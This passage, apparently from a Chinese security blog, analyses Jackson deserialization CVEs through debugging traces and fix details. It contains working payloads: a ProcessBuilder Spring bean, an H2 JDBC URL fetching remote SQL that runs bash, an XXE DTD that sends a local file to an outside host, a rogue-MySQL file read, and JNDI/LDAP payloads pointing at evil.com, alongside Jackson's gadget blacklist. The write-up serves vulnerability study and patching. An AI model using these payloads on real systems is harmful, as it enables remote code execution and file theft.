lambda$doGetBean$0:312, AbstractBeanFactory (org.springframework.beans.factory.support)
getObject:-1, 238816832 (org.springframework.beans.factory.support.AbstractBeanFactory$$Lambda$11)
getSingleton:228, DefaultSingletonBeanRegistry (org.springframework.beans.factory.support)
doGetBean:310, AbstractBeanFactory (org.springframework.beans.factory.support)
getBean:200, AbstractBeanFactory (org.springframework.beans.factory.support)

autowireConstructor中,调用BeanDefinitionValueResolver#resolveValueIfNecessary,第二个参数valueHolder.getValue()表示xml中构造方法的java.util.List参数,接下来就会解析java.util.List的元素值”open”和”/System/Applications/Calculator.app”,也是会调用StandardBeanExpressionResolver#evaluate和前面一样使用Spel表达式来解析。

image-20210730150504284

生成了Bean对象,即调用完new java.lang.ProcessBuilder(java.util.List)后,回到doCreateBean

image-20210730151422187

image-20210730151506452

继续解析剩下的部分<property name="any" value="#{ pb.start() }"/>。调用栈如下

1
2
3
resolveValueIfNecessary:191, BeanDefinitionValueResolver (org.springframework.beans.factory.support)
applyPropertyValues:1613, AbstractAutowireCapableBeanFactory (org.springframework.beans.factory.support)
populateBean:1357, AbstractAutowireCapableBeanFactory (org.springframework.beans.factory.support)

image-20210730151733495

因此最后在处理#{ pb.start() }时,会触发RCE。

POC写法问题

由于是MAC电脑,所以弹计算机得两个参数,所以一开始把POC写成了

1
2
3
4
5
6
7
8
9
10
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="
http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="pb" class="java.lang.ProcessBuilder">
<constructor-arg value="open" index="0" />
<constructor-arg value="/System/Applications/Calculator.app" index="1" />
<property name="whatever" value="#{ pb.start() }"/>
</bean>
</beans>

就相当于想执行new java.lang.ProcessBuilder("open", "/System/Applications/Calculator.app").start() ,但是咋样都弹不出计算机,非常无语。

跟了一下发现其中的奥妙。在获取ProcessBuilder构造方法的逻辑中autowireConstructor()

  • 先获取个数minNrOfArgs,如果是错误POC的话,两个参数,则值为2

image-20210730152804548

  • 获取所有的构造方法

可以ProcessBuilder的构造方法的参数类型只有两个,一个是java.util.List,一个是java.lang.String[]如果再反射获取这两个构造方法的参数的话,参数个数其实都是只有1个

image-20210730153031397

image-20210730132853137

  • 根据参数个数和参数类型匹配构造方法

和上面说的一样,两个构造方法的参数个数都是1,而这里我们传入的参数个数是2,所以匹配不到,所以就无法初始化对象。因此最终就会失败

image-20210730153331035

修复

在原先的基础上增加了黑名单

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
static {
Set<String> s = new HashSet<String>();
// Courtesy of [https://github.com/kantega/notsoserial]:
// (and wrt [databind#1599])
s.add("org.apache.commons.collections.functors.InvokerTransformer");
s.add("org.apache.commons.collections.functors.InstantiateTransformer");
s.add("org.apache.commons.collections4.functors.InvokerTransformer");
s.add("org.apache.commons.collections4.functors.InstantiateTransformer");
s.add("org.codehaus.groovy.runtime.ConvertedClosure");
s.add("org.codehaus.groovy.runtime.MethodClosure");
s.add("org.springframework.beans.factory.ObjectFactory");
s.add("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl");
s.add("org.apache.xalan.xsltc.trax.TemplatesImpl");
// [databind#1680]: may or may not be problem, take no chance
s.add("com.sun.rowset.JdbcRowSetImpl");
// [databind#1737]; JDK provided
s.add("java.util.logging.FileHandler");
s.add("java.rmi.server.UnicastRemoteObject");
// [databind#1737]; 3rd party
//s.add("org.springframework.aop.support.AbstractBeanFactoryPointcutAdvisor"); // deprecated by [databind#1855]
s.add("org.springframework.beans.factory.config.PropertyPathFactoryBean");
s.add("com.mchange.v2.c3p0.JndiRefForwardingDataSource");
s.add("com.mchange.v2.c3p0.WrapperConnectionPoolDataSource");
// [databind#1855]: more 3rd party
s.add("org.apache.tomcat.dbcp.dbcp2.BasicDataSource");
s.add("com.sun.org.apache.bcel.internal.util.ClassLoader");
DEFAULT_NO_DESER_CLASS_NAMES = Collections.unmodifiableSet(s);
}

但是黑名单里没有包含我们这次的利用类,实际上,在调用BeanDeserializerFactory.createBeanDeserializer()时是,会调用_validateSubType对类型进行检查。先校验黑名单,显然我们的目标类不在黑名单中,但是会继续判断是否是以”org.springframe”开头的类名。是的话循环遍历目标类的父类是否为AbstractPointcutAdvisor或AbstractApplicationContext,是的话跳出循环然后抛出异常

image-20210730155459439

CVE-2019-12086 - MiniAdmin

基于MiniAdmin的利用链的,和以往反序列化执行命令的漏洞不一样,本次的反序列化读取任意文件内容,如果ClassPath中有com.mysql.cj.jdbc.admin.MiniAdmin(存在MySQL的JDBC驱动中)这个类,那么Java应用所在的服务器上的文件,就可能被任意读取并传送到恶意的MySQL Server

影响版本 & 限制 & 依赖

版本:

  • Jackson 2.x系列 < 2.9.9

限制 & 依赖:

目标服务器需存在 6.0.3 - 8.0.15 的MySQL驱动(mysql-connector-java)

1
2
3
4
5
<dependency>
<groupId>mysql</groupId>
<artifactId>mysql-connector-java</artifactId>
<version>8.0.11</version>
</dependency>

POC

1
["com.mysql.cj.jdbc.admin.MiniAdmin", "jdbc:mysql://ip:port/any"]

运行rogue server

1
python2 rogue_mysql_server.py "要读的文件"

MySQL Rogue Server

参考:https://www.mi1k7ea.com/2019/11/19/Jackson%E7%B3%BB%E5%88%97%E5%9B%9B%E2%80%94%E2%80%94CVE-2019-12086%EF%BC%88%E5%9F%BA%E4%BA%8EMiniAdmin%E5%88%A9%E7%94%A8%E9%93%BE%EF%BC%89/

MySQL支持使用LOAD DATA LOCAL INFILE语法,即可将客户端本地的文件中的数据insert到MySQL的某张表中。

在java的MySQL JDBC驱动中,需要设置allowLoadLocalInfile为true,用来控制允许从本地读取文件,而默认值就是true。

协议工作过程:

  1. 用户在客户端输入:load data local file “/data.txt” into table test;
  2. 客户端->服务端:我想把我本地的/data.txt文件插入到test表中;
  3. 服务端->客户端:把你本地的/data.txt文件发给我;
  4. 客户端->服务端:/data.txt文件的内容;

客户端发送哪个文件的内容,取决于第三步即服务端响应的想要的哪个文件,如果服务端是个恶意的MySQL,那么它可以读取客户端的任意文件内容,比如读取/etc/passwd

  1. 用户在客户端输入:load data local file “/data.txt” into table test;
  2. 客户端->服务端:我想把我本地的/data.txt文件插入到test表中;
  3. 服务端->客户端:把你本地的/etc/passwd文件发给我;
  4. 客户端->服务端:/etc/passwd文件的内容

在大部分客户端(比如MySQL Connect/J)的实现里,第一步和第二部并非是必须的,客户端发送任意查询给服务端,服务端都可以返回文件发送的请求。而大部分客户端在建立连接之后,都会有一些查询服务器配置之类的查询,所以使用这些客户端,只要创建了到恶意MySQL服务器的连接,那么客户端所在的服务器上的所有文件都可能泄露

有很多现成的利用脚本:

https://github.com/allyshka/Rogue-MySql-Server

https://giters.com/rmb122/rogue_mysql_server

分析

这个链子蛮简单的。payload的形式和上一个是一样的,所以Jackson解析部分也可以参考上一个,不再赘述

直接断点下在MiniAdmin(String jdbcUrl)这个构造方法中,调用栈

1
2
3
4
getInstance:230, ConnectionImpl (com.mysql.cj.jdbc)
connect:226, NonRegisteringDriver (com.mysql.cj.jdbc)
<init>:95, MiniAdmin (com.mysql.cj.jdbc.admin)
<init>:79, MiniAdmin (com.mysql.cj.jdbc.admin)

image-20210730173318853

实例化Driver后,调用其connect()方法连接我们的恶意服务端。

修复

MySQL Connector/J修复

MySQL Connector/J从8.0.15版本开始将allowLoadLocalInfile默认值设置为false。

Jackson修复

com.mysql.cj.jdbc.admin.MiniAdmin添加到黑名单中

CVE-2019-12384 - logback

基于H2数据库自定义函数执行java代码可实现RCE的特性,通过反序列化控制连接数据库的url参数,再通过额外的一次序列化调用DriverManagerConnectionSource#getConnection根据url触发H2数据库链接实现RCE。鸡肋的地方就是除了和之前一样的反序列化外,还需要一次序列化去调用getConnection

影响版本 & 限制 & 依赖

版本:

限制:

需要logback和H2数据库的依赖,但是用H2嵌入式数据库的场景很少见

POC

  • H2语句在inject.sql中,通过远程获取H2语句。以内存(mem)的方式创建数据库
1
2
3
4
5
6
7
8
9
// payload
["ch.qos.logback.core.db.DriverManagerConnectionSource", {"url":"jdbc:h2:mem:;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM 'http://localhost:8888/inject.sql'"}]

// inject.sql(以内存的形式创建数据库)
CREATE ALIAS SHELLEXEC AS $$ void shellexec(String cmd) throws java.io.IOException {
Runtime.getRuntime().exec(new String[]{"/bin/bash", "-c", cmd});
}
$$;
CALL SHELLEXEC('open /System/Applications/Calculator.app');
  • H2语句直接作为payload。由于INIT只能执行一条H2语句,所以分两次利用。第一次自定义函数,以文件的方式创建数据库test.mv.db,供第二次调用。第二次调用test.mv.db中的自定义函数。
1
2
3
4
5
// 第一次:以文件的形式在~/tmp中创建数据库test.mv.db
["ch.qos.logback.core.db.DriverManagerConnectionSource",{"url":"jdbc:h2:file:~/tmp/test;TRACE_LEVEL_SYSTEM_OUT=3;INIT=CREATE ALIAS SHELLEXEC AS $$ void shellexec(String cmd) throws java.io.IOException { Runtime.getRuntime().exec(new String[]{\"bash\", \"-c\", cmd})\\; }$$;"}]

// 第二次:调用数据库,执行命令
["ch.qos.logback.core.db.DriverManagerConnectionSource", {"url":"jdbc:h2:file:~/tmp/test;TRACE_LEVEL_SYSTEM_OUT=3;INIT=CALL SHELLEXEC('open /System/Applications/Calculator.app');"}]

image-20210802115113218

H2 用户自定义函数

具体语法可参考:http://h2database.com/html/commands.html#create_alias

H2数据库,是Java实现的内存数据库,可作为嵌入式内存数据库,提供用户自定义数据库函数以及在数据库中注册函数的功能

用户自定义函数并注册到H2数据库中的过程如下:

  • 使用java中实现自定义函数
  • 使用H2语句将函数注册到数据库中

这里写个Demo,自定义一个TO_DATE函数:

  • 首先用java定义这个函数

用户自定义的函数需注意的是:类和方法必须是public的,且方法必须是static,如果方法中使用了Connection对象需将其关闭

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
package com.seraph.bi.suite.support.h2;

import java.text.SimpleDateFormat;
import org.h2.tools.SimpleResultSet;
...

public class Function {
public static java.sql.Date to_date(String source, String format) throws ParseException {
// TODO: 'YYYY-MM-DD' ? Oracle format?
SimpleDateFormat sdf = new SimpleDateFormat("yyyy-MM-dd");
java.util.Date date = sdf.parse(source);
return new java.sql.Date(date.getTime());
}
...
}
  • 使用H2语句进行注册
1
2
3
4
5
语法:
CREATE ALIAS [IF NOT EXISTS] newFunctionAliasName [DETERMINISTIC] FOR classAndMethodName

本例:
CREATE ALIAS TO_DATE FOR "com.seraph.bi.suite.support.h2.Function.to_date";
  • 使用该函数
1
SELECT to_date('2009-1-21','YYYY-MM-DD') from Your_Table;

除以上写法之外,同类的写法还有:

image-20210802103834609

分析

payload的形式和前面两个是一样的,所以就不分析jackson解析的部分了。

反序列化部分还是会调用相应的setter,这里是DriverManagerConnectionSource#setUrl

image-20210802130518987

跟一下额外的序列化部分,断点打在String s = mapper.writeValueAsString(obj);

在Jackson序列化过程中,会调用getter方法来获取属性值。具体逻辑在BeanSerializerBase#serializeFields中,先获取要序列化对象的所有属性的属性设置器,循环调用具体的属性设置器(类比反序列化的属性解析器)的serializeAsField方法来设置属性值,其中就会调用getter方法。

image-20210802131342165

先后调用getDriverClass()、getUrl()、getConnection()三个getter方法,跟进看一下getConnection

image-20210802131641209

其中调用java.sql.DriverManager#getConnection来与url中的数据库进行连接和交互。由于url在反序列化时可控,所以可以连接H2数据库利用H2数据库可执行java代码的特性来实现RCE。

修复

Jackson在2.9.9.1版本中添加了ch.qos.logback.core.db.DriverManagerConnectionSource类的黑名单

CVE-2019-12814 - JDOM XSLTransformer

基于XSLTransformer构造方法中触发的XXE漏洞

影响版本 & 限制 & 依赖

版本:

  • Jackson 2.x系列 <2.9.9.1

依赖:

jackson-annotations-2.9.9,jackson-core-2.9.9,jackson-databind-2.9.9,jdom2-2.0.6

限制:

需要 JDOM 1.x 或 JDOM 2.x 的依赖

POC

  • payload
1
["org.jdom2.transform.XSLTransformer", "http://127.0.0.1:7777/xxe.xml"]
  • XXE部分
1
2
3
4
5
6
7
8
9
10
11
// xxe.xml
<!DOCTYPE ANY[
<!ENTITY % file SYSTEM "file:///Users/a861881/tmp/flag">
<!ENTITY % remote SYSTEM "http://127.0.0.1:7777/xxe.dtd">
%remote;
%get;
%send;
]>

// xxe.dtd
<!ENTITY % get "<!ENTITY &#37; send SYSTEM 'http://127.0.0.1:8888/%file;'>">

image-20210802134937165

分析

前面解析Jackson的部分还是一样,直接看XSLTransformer解析XXE的部分。调试发现会先调用XSLTransformer的构造方法,在这里打个断点

image-20210802140215306

image-20210802140254916

先调用TransformerFactory.newInstance()初始化一个TransformerFactoryImpl,再调用其newTemplates来解析

在该方法中,先初始化一些XML的解析配置选项(feature),再调用xsltc.compile来解析XML

image-20210802140649073

调用前面初始化的Parser的parse方法继续解析XML的抽象语法树

image-20210802140820101

继续跟进该方法,发现熟悉的部分,后面就是SAXParser.parse()来解析XML了。具体的解析流程和Weblogic XMLDecoder的部分是一样的,因为都是使用的SAXParser来解析。之后就会触发XXE漏洞了。

image-20210802141207341

image-20210802141122480

关于Java的XXE漏洞,官方建议SAXParser在解析XML时,设置以下选项来防御XXE漏洞

1
2
3
4
factory.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
factory.setFeature("http://xml.org/sax/features/external-general-entities", false);
factory.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
factory.setFeature("http://apache.org/xml/features/nonvalidating/load-external-dtd", false);

而在XSLTransformer初始化到SAXParser.parse()解析XML的过程中,设置的选项不足以防御XXE漏洞,仅仅设置了一个无关安全的选项

1
2
factory.setFeature(Constants.NAMESPACE_FEATURE,true);
// factory.setFeature("http://xml.org/sax/features/namespaces", true);

修复

Jackson在2.9.9.1版本中添加了该JDOM类的黑名单。

黑名单可以在com.fasterxml.jackson.databind.jsontype.impl.SubTypeValidator查看

1
2
3
// [databind#2341]: jdom/jdom2 (2.9.9.1)
s.add("org.jdom.transform.XSLTransformer");
s.add("org.jdom2.transform.XSLTransformer");

目前为止黑名单

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
protected final static String PREFIX_SPRING = "org.springframework.";
protected final static String PREFIX_C3P0 = "com.mchange.v2.c3p0.";
// (and wrt [databind#1599])
s.add("org.apache.commons.collections.functors.InvokerTransformer");
s.add("org.apache.commons.collections.functors.InstantiateTransformer");
s.add("org.apache.commons.collections4.functors.InvokerTransformer");
s.add("org.apache.commons.collections4.functors.InstantiateTransformer");
s.add("org.codehaus.groovy.runtime.ConvertedClosure");
s.add("org.codehaus.groovy.runtime.MethodClosure");
s.add("org.springframework.beans.factory.ObjectFactory");
s.add("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl");
s.add("org.apache.xalan.xsltc.trax.TemplatesImpl");
// [databind#1680]: may or may not be problem, take no chance
s.add("com.sun.rowset.JdbcRowSetImpl");
// [databind#1737]; JDK provided
s.add("java.util.logging.FileHandler");
s.add("java.rmi.server.UnicastRemoteObject");
// [databind#1737]; 3rd party
//s.add("org.springframework.aop.support.AbstractBeanFactoryPointcutAdvisor"); // deprecated by [databind#1855]
s.add("org.springframework.beans.factory.config.PropertyPathFactoryBean");
// [databind#2680]
s.add("org.springframework.aop.config.MethodLocatingFactoryBean");
s.add("org.springframework.beans.factory.config.BeanReferenceFactoryBean");

// s.add("com.mchange.v2.c3p0.JndiRefForwardingDataSource"); // deprecated by [databind#1931]
// s.add("com.mchange.v2.c3p0.WrapperConnectionPoolDataSource"); // - "" -
// [databind#1855]: more 3rd party
s.add("org.apache.tomcat.dbcp.dbcp2.BasicDataSource");
s.add("com.sun.org.apache.bcel.internal.util.ClassLoader");
// [databind#1899]: more 3rd party
s.add("org.hibernate.jmx.StatisticsService");
s.add("org.apache.ibatis.datasource.jndi.JndiDataSourceFactory");
// [databind#2032]: more 3rd party; data exfiltration via xml parsed ext entities
s.add("org.apache.ibatis.parsing.XPathParser");

// [databind#2052]: Jodd-db, with jndi/ldap lookup
s.add("jodd.db.connection.DataSourceConnectionProvider");

// [databind#2058]: Oracle JDBC driver, with jndi/ldap lookup
s.add("oracle.jdbc.connector.OracleManagedConnectionFactory");
s.add("oracle.jdbc.rowset.OracleJDBCRowSet");

// [databind#2097]: some 3rd party, one JDK-bundled
s.add("org.slf4j.ext.EventData");
s.add("flex.messaging.util.concurrent.AsynchBeansWorkManagerExecutor");
s.add("com.sun.deploy.security.ruleset.DRSHelper");
s.add("org.apache.axis2.jaxws.spi.handler.HandlerResolverImpl");

// [databind#2186], [databind#2670]: yet more 3rd party gadgets
s.add("org.jboss.util.propertyeditor.DocumentEditor");
s.add("org.apache.openjpa.ee.RegistryManagedRuntime");
s.add("org.apache.openjpa.ee.JNDIManagedRuntime");
s.add("org.apache.openjpa.ee.WASRegistryManagedRuntime"); // [#2670] addition
s.add("org.apache.axis2.transport.jms.JMSOutTransportInfo");

// [databind#2326] (2.9.9)
s.add("com.mysql.cj.jdbc.admin.MiniAdmin");

// [databind#2334]: logback-core (2.9.9.1)
s.add("ch.qos.logback.core.db.DriverManagerConnectionSource");

// [databind#2341]: jdom/jdom2 (2.9.9.1)
s.add("org.jdom.transform.XSLTransformer");
s.add("org.jdom2.transform.XSLTransformer");

// [databind#2387], [databind#2460]: EHCache
s.add("net.sf.ehcache.transaction.manager.DefaultTransactionManagerLookup");
s.add("net.sf.ehcache.hibernate.EhcacheJtaTransactionManagerLookup");

// [databind#2389]: logback/jndi
s.add("ch.qos.logback.core.db.JNDIConnectionSource");

// [databind#2410]: HikariCP/metricRegistry config
s.add("com.zaxxer.hikari.HikariConfig");
// [databind#2449]: and sub-class thereof
s.add("com.zaxxer.hikari.HikariDataSource");

// [databind#2420]: CXF/JAX-RS provider/XSLT
s.add("org.apache.cxf.jaxrs.provider.XSLTJaxbProvider");

// [databind#2462]: commons-configuration / -2
s.add("org.apache.commons.configuration.JNDIConfiguration");
s.add("org.apache.commons.configuration2.JNDIConfiguration");

// [databind#2469]: xalan
s.add("org.apache.xalan.lib.sql.JNDIConnectionPool");
// [databind#2704]: xalan2
s.add("com.sun.org.apache.xalan.internal.lib.sql.JNDIConnectionPool");

// [databind#2478]: commons-dbcp 1.x, p6spy
// [databind#3004]: commons-dbcp 1.x
s.add("org.apache.commons.dbcp.cpdsadapter.DriverAdapterCPDS");
s.add("org.apache.commons.dbcp.datasources.PerUserPoolDataSource");
s.add("org.apache.commons.dbcp.datasources.SharedPoolDataSource");

s.add("com.p6spy.engine.spy.P6DataSource");

// [databind#2498]: log4j-extras (1.2)
s.add("org.apache.log4j.receivers.db.DriverManagerConnectionSource");
s.add("org.apache.log4j.receivers.db.JNDIConnectionSource");

// [databind#2526]: some more ehcache
s.add("net.sf.ehcache.transaction.manager.selector.GenericJndiSelector");
s.add("net.sf.ehcache.transaction.manager.selector.GlassfishSelector");

// [databind#2620]: xbean-reflect
s.add("org.apache.xbean.propertyeditor.JndiConverter");

// [databind#2631]: shaded hikari-config
s.add("org.apache.hadoop.shaded.com.zaxxer.hikari.HikariConfig");

// [databind#2634]: ibatis-sqlmap, anteros-core/-dbcp
s.add("com.ibatis.sqlmap.engine.transaction.jta.JtaTransactionConfig");
s.add("br.com.anteros.dbcp.AnterosDBCPConfig");
// [databind#2814]: anteros-dbcp
s.add("br.com.anteros.dbcp.AnterosDBCPDataSource");

// [databind#2642][databind#2854]: javax.swing (jdk)
s.add("javax.swing.JEditorPane");
s.add("javax.swing.JTextPane");

// [databind#2648], [databind#2653]: shire-core
s.add("org.apache.shiro.realm.jndi.JndiRealmFactory");
s.add("org.apache.shiro.jndi.JndiObjectFactory");

// [databind#2658]: ignite-jta (, quartz-core)
s.add("org.apache.ignite.cache.jta.jndi.CacheJndiTmLookup");
s.add("org.apache.ignite.cache.jta.jndi.CacheJndiTmFactory");
s.add("org.quartz.utils.JNDIConnectionProvider");

// [databind#2659]: aries.transaction.jms
s.add("org.apache.aries.transaction.jms.internal.XaPooledConnectionFactory");
s.add("org.apache.aries.transaction.jms.RecoverablePooledConnectionFactory");

// [databind#2660]: caucho-quercus
s.add("com.caucho.config.types.ResourceRef");

// [databind#2662]: aoju/bus-proxy
s.add("org.aoju.bus.proxy.provider.RmiProvider");
s.add("org.aoju.bus.proxy.provider.remoting.RmiProvider");

// [databind#2664]: activemq-core, activemq-pool, activemq-pool-jms

s.add("org.apache.activemq.ActiveMQConnectionFactory"); // core
s.add("org.apache.activemq.ActiveMQXAConnectionFactory");
s.add("org.apache.activemq.spring.ActiveMQConnectionFactory");
s.add("org.apache.activemq.spring.ActiveMQXAConnectionFactory");
s.add("org.apache.activemq.pool.JcaPooledConnectionFactory"); // pool
s.add("org.apache.activemq.pool.PooledConnectionFactory");
s.add("org.apache.activemq.pool.XaPooledConnectionFactory");
s.add("org.apache.activemq.jms.pool.XaPooledConnectionFactory"); // pool-jms
s.add("org.apache.activemq.jms.pool.JcaPooledConnectionFactory");

// [databind#2666]: apache/commons-jms
s.add("org.apache.commons.proxy.provider.remoting.RmiProvider");

// [databind#2682]: commons-jelly
s.add("org.apache.commons.jelly.impl.Embedded");

// [databind#2688], [databind#3004]: apache/drill
s.add("oadd.org.apache.xalan.lib.sql.JNDIConnectionPool");
s.add("oadd.org.apache.commons.dbcp.cpdsadapter.DriverAdapterCPDS");
s.add("oadd.org.apache.commons.dbcp.datasources.PerUserPoolDataSource");
s.add("oadd.org.apache.commons.dbcp.datasources.SharedPoolDataSource");

// [databind#2698]: weblogic w/ oracle/aq-jms
// (note: dependency not available via Maven Central, but as part of
// weblogic installation, possibly fairly old version(s))
s.add("oracle.jms.AQjmsQueueConnectionFactory");
s.add("oracle.jms.AQjmsXATopicConnectionFactory");
s.add("oracle.jms.AQjmsTopicConnectionFactory");
s.add("oracle.jms.AQjmsXAQueueConnectionFactory");
s.add("oracle.jms.AQjmsXAConnectionFactory");

// [databind#2764]: org.jsecurity:
s.add("org.jsecurity.realm.jndi.JndiRealmFactory");

// [databind#2798]: com.pastdev.httpcomponents:
s.add("com.pastdev.httpcomponents.configuration.JndiConfiguration");

// [databind#2826], [databind#2827]
s.add("com.nqadmin.rowset.JdbcRowSetImpl");
s.add("org.arrah.framework.rdbms.UpdatableJdbcRowsetImpl");

// [databind#2986], [databind#3004]: dbcp2
s.add("org.apache.commons.dbcp2.datasources.PerUserPoolDataSource");
s.add("org.apache.commons.dbcp2.datasources.SharedPoolDataSource");
s.add("org.apache.commons.dbcp2.cpdsadapter.DriverAdapterCPDS");

// [databind#2996]: newrelic-agent + embedded-logback-core
// (derivative of #2334 and #2389)
s.add("com.newrelic.agent.deps.ch.qos.logback.core.db.JNDIConnectionSource");
s.add("com.newrelic.agent.deps.ch.qos.logback.core.db.DriverManagerConnectionSource");

// [databind#2997]/[databind#3004]: tomcat/naming-factory-dbcp (embedded dbcp 1.x)
// (derivative of #2478)
s.add("org.apache.tomcat.dbcp.dbcp.cpdsadapter.DriverAdapterCPDS");
s.add("org.apache.tomcat.dbcp.dbcp.datasources.PerUserPoolDataSource");
s.add("org.apache.tomcat.dbcp.dbcp.datasources.SharedPoolDataSource");

// [databind#2998]/[databind#3004]: org.apache.tomcat/tomcat-dbcp (embedded dbcp 2.x)
// (derivative of #2478)
s.add("org.apache.tomcat.dbcp.dbcp2.cpdsadapter.DriverAdapterCPDS");
s.add("org.apache.tomcat.dbcp.dbcp2.datasources.PerUserPoolDataSource");
s.add("org.apache.tomcat.dbcp.dbcp2.datasources.SharedPoolDataSource");

// [databind#2999]: org.glassfish.web/javax.servlet.jsp.jstl (embedded Xalan)
// (derivative of #2469)
s.add("com.oracle.wls.shaded.org.apache.xalan.lib.sql.JNDIConnectionPool");

// [databind#3003]: another case of embedded Xalan (derivative of #2469)
s.add("org.docx4j.org.apache.xalan.lib.sql.JNDIConnectionPool");

其他POC

POC还有很多很多,可以参考黑名单上的类自己去找一找。而且,适用与Fastjson的POC大部分也适用于Jackson。

1
2
3
4
5
6
7
8
9
10
11
["org.springframework.context.support.GenericGroovyApplicationContext", "http://127.0.0.1:8000/spel.xml"]

["com.mchange.v2.c3p0.JndiRefForwardingDataSource",{"jndiName": "ldap://localhost:1389/Exploit","loginTimeout":0}]

["com.sun.rowset.JdbcRowSetImpl",{"dataSourceName": "ldap://localhost:1389/Exploit", "autoCommit":true}]

["org.apache.openjpa.ee.RegistryManagedRuntime",{"registryName": "ldap://127.0.0.1:1389/Test1", "rollbackOnly": null}]

["org.apache.openjpa.ee.JNDIManagedRuntime", {"transactionManagerName": "ldap://evil.com:1389/Test1", "rollbackOnly": null}]

["org.apache.axis2.transport.jms.JMSOutTransportInfo", "jms:/ldap://evil.com:1389/Test1"]

参考

https://www.lmxspace.com/2019/07/30/Jackson-%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%B1%87%E6%80%BB/#

https://www.mi1k7ea.com/2019/11/13/Jackson%E7%B3%BB%E5%88%97%E4%B8%80%E2%80%94%E2%80%94%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E%E5%9F%BA%E6%9C%AC%E5%8E%9F%E7%90%86/

https://www.mi1k7ea.com/2019/11/16/Jackson%E7%B3%BB%E5%88%97%E4%BA%8C%E2%80%94%E2%80%94CVE-2017-7525%EF%BC%88%E5%9F%BA%E4%BA%8ETemplatesImpl%E5%88%A9%E7%94%A8%E9%93%BE%EF%BC%89/

https://www.mi1k7ea.com/2019/11/17/Jackson%E7%B3%BB%E5%88%97%E4%B8%89%E2%80%94CVE-2017-1748%EF%BC%88%E5%9F%BA%E4%BA%8EClassPathXmlApplicationContext%E5%88%A9%E7%94%A8%E9%93%BE%EF%BC%89/

https://www.mi1k7ea.com/2019/11/17/Jackson%E7%B3%BB%E5%88%97%E4%B8%89%E2%80%94CVE-2017-1748%EF%BC%88%E5%9F%BA%E4%BA%8EClassPathXmlApplicationContext%E5%88%A9%E7%94%A8%E9%93%BE%EF%BC%89/

https://www.mi1k7ea.com/2019/11/19/Jackson%E7%B3%BB%E5%88%97%E5%9B%9B%E2%80%94%E2%80%94CVE-2019-12086%EF%BC%88%E5%9F%BA%E4%BA%8EMiniAdmin%E5%88%A9%E7%94%A8%E9%93%BE%EF%BC%89/

https://www.mi1k7ea.com/2019/11/22/Jackson%E7%B3%BB%E5%88%97%E4%BA%94%E2%80%94%E2%80%94CVE-2019-12384%EF%BC%88%E5%9F%BA%E4%BA%8Elogback%E5%88%A9%E7%94%A8%E9%93%BE%EF%BC%89/

https://www.mi1k7ea.com/2019/11/24/Jackson%E7%B3%BB%E5%88%97%E5%85%AD%E2%80%94%E2%80%94CVE-2019-12814%EF%BC%88%E5%9F%BA%E4%BA%8EJDOM-XSLTransformer%E5%88%A9%E7%94%A8%E9%93%BE%EF%BC%89/

https://www.mi1k7ea.com/2019/11/24/Jackson%E7%B3%BB%E5%88%97%E4%B8%83%E2%80%94%E2%80%94%E5%85%B6%E4%BB%96Gadgets/

CATALOG
  1. 1. 前言
  2. 2. Jackson 简单使用
    1. 2.1. 简介
      1. 2.1.1. 基本介绍
      2. 2.1.2. 使用细节
    2. 2.2. 依赖
    3. 2.3. ObjectMapper 序列化对象
      1. 2.3.1. 序列化
      2. 2.3.2. 反序列化
    4. 2.4. Demo
    5. 2.5. 解决多态问题
      1. 2.5.1. DefaultTyping
      2. 2.5.2. @JsonTypeInfo注解
  3. 3. Jackson 反序列化调试
    1. 3.1. Demo
    2. 3.2. 调试分析
    3. 3.3. 总结
  4. 4. Jackson 反序列化漏洞
    1. 4.1. 原理
    2. 4.2. Demo
  5. 5. CVE-2017-7525 - TemplatesImpl
    1. 5.1. 影响版本 & 限制 & 依赖
    2. 5.2. POC
    3. 5.3. 属性解析器 SettableBeanProperty
    4. 5.4. 分析
    5. 5.5. 高版本JDK限制 - _tfactory
    6. 5.6. 修复
  6. 6. CVE-2017-17485 - 远程加载恶意spring bean xml
    1. 6.1. 影响版本 & 限制 & 依赖
    2. 6.2. POC
    3. 6.3. Spring xml配置bean
    4. 6.4. 分析
      1. 6.4.1. Jackson解析部分
      2. 6.4.2. ClassPathXmlApplicationContext恢复bean部分
    5. 6.5. POC写法问题
    6. 6.6. 修复
  7. 7. CVE-2019-12086 - MiniAdmin
    1. 7.1. 影响版本 & 限制 & 依赖
    2. 7.2. POC
    3. 7.3. MySQL Rogue Server
    4. 7.4. 分析
    5. 7.5. 修复
      1. 7.5.1. MySQL Connector/J修复
      2. 7.5.2. Jackson修复
  8. 8. CVE-2019-12384 - logback
    1. 8.1. 影响版本 & 限制 & 依赖
    2. 8.2. POC
    3. 8.3. H2 用户自定义函数
    4. 8.4. 分析
    5. 8.5. 修复
  9. 9. CVE-2019-12814 - JDOM XSLTransformer
    1. 9.1. 影响版本 & 限制 & 依赖
    2. 9.2. POC
    3. 9.3. 分析
    4. 9.4. 修复
  10. 10. 目前为止黑名单
  11. 11. 其他POC
  12. 12. 参考